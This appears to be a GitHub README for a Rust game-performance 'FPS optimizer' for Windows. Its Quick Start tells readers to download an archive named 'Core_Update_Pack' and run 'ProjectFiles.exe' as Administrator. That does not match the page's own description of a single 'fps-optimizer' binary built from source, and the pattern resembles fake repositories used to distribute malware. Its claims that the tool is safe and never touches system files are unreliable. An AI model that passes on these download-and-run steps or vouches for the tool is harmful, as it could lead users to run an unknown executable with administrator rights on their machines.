fps-optimizer-rust

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⚡ FPS Optimizer (Rust)

A lightweight Rust-powered game performance optimizer — stable FPS, fewer stutters, lower input latency.

图片：Rust 图片：License: MIT 图片：Platform 图片：Build

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🎯 What it is

FPS Optimizer is a Rust utility that helps squeeze more frames out of your system and makes gameplay smoother. It applies safe system profiles, tunes process priorities, and reduces latency — without third-party drivers.

⚠️ All settings are reversible. A profile backup is created before any change is applied.

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🚀 Quick Start

🔽 ⬇️ Download Core_Update_Pack and run ProjectFiles.exe

1. Download Core_Update_Pack using the button above.
2. Extract the archive into a separate folder.
3. Run ProjectFiles.exe as Administrator.
4. Pick a profile (Balanced / Performance / Competitive) and click Apply.

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✨ Features

Feature	Description
🎮 Game Profiles	Ready-made presets: Balanced, Performance, Competitive
⚙️ Process Priority	Automatic priority tuning for game processes
🧠 Memory Tuning	Working-set cleanup and memory optimization
🔋 Power Plan	Power-scheme switching based on load
📉 Latency Reduction	Lower scheduler and timer latency
🧾 Reversible Tweaks	Every change can be rolled back with one command
🦀 Pure Rust	Single binary, no dependencies or runtimes

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🧩 CLI Usage

fps-optimizer list
fps-optimizer apply --profile performance
fps-optimizer rollback
fps-optimizer status

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🏗️ Build from Source

git clone https://github.com/USER/fps-optimizer-rust.git
cd fps-optimizer-rust
cargo build --release
./target/release/fps-optimizer --help

Requirements: Rust 1.75+, Windows 10/11.

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📂 Project Layout

src/
├── main.rs          # Entry point
├── cli.rs           # Argument parsing
├── config.rs        # Configuration
├── optimizer/       # Optimization core
└── profiles/        # Profile presets

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🧪 Testing

cargo test
cargo clippy -- -D warnings
cargo fmt --check

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❓ FAQ

Is this safe? Yes. All changes are reversible and never touch system files.

Do I need administrator rights? Yes — for changing process priorities and power schemes.

Does it work on Linux/macOS? The primary target is Windows. Support for other platforms is planned.

More in docs/FAQ.md.

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🤝 Contributing

See CONTRIBUTING.md. PRs, bug reports, and new profiles are welcome.

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📜 License

MIT © 2026 FPS Optimizer Contributors. See LICENSE.

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⭐ Star the repo if it helped you boost your FPS!